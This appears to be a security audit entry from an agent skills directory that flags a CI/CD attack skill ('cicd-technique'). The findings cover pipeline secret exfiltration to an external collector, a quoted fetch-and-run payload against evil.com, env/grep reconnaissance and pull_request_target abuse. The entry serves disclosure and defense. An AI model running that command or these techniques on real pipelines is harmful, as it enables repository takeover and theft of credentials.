The Agent Skills Directory

[DATA_EXFILTRATION]: Provides a detailed methodology for dumping environment variables and sensitive pipeline secrets (such as AWS keys and GitHub/NPM tokens) and exfiltrating them to an external out-of-band (OAST) collector.
[REMOTE_CODE_EXECUTION]: Documents specific exploit payloads, such as curl http://evil.com/shell.sh | bash, used to illustrate command injection vulnerabilities in CI/CD pipeline runners.
[COMMAND_EXECUTION]: Instructions involve the use of shell commands like env and grep to perform reconnaissance and identify sensitive configuration data within execution environments.
[PRIVILEGE_ESCALATION]: Details techniques for exploiting misconfigured workflows, such as those using pull_request_target, to gain elevated repository permissions and access to internal secrets.

cicd-technique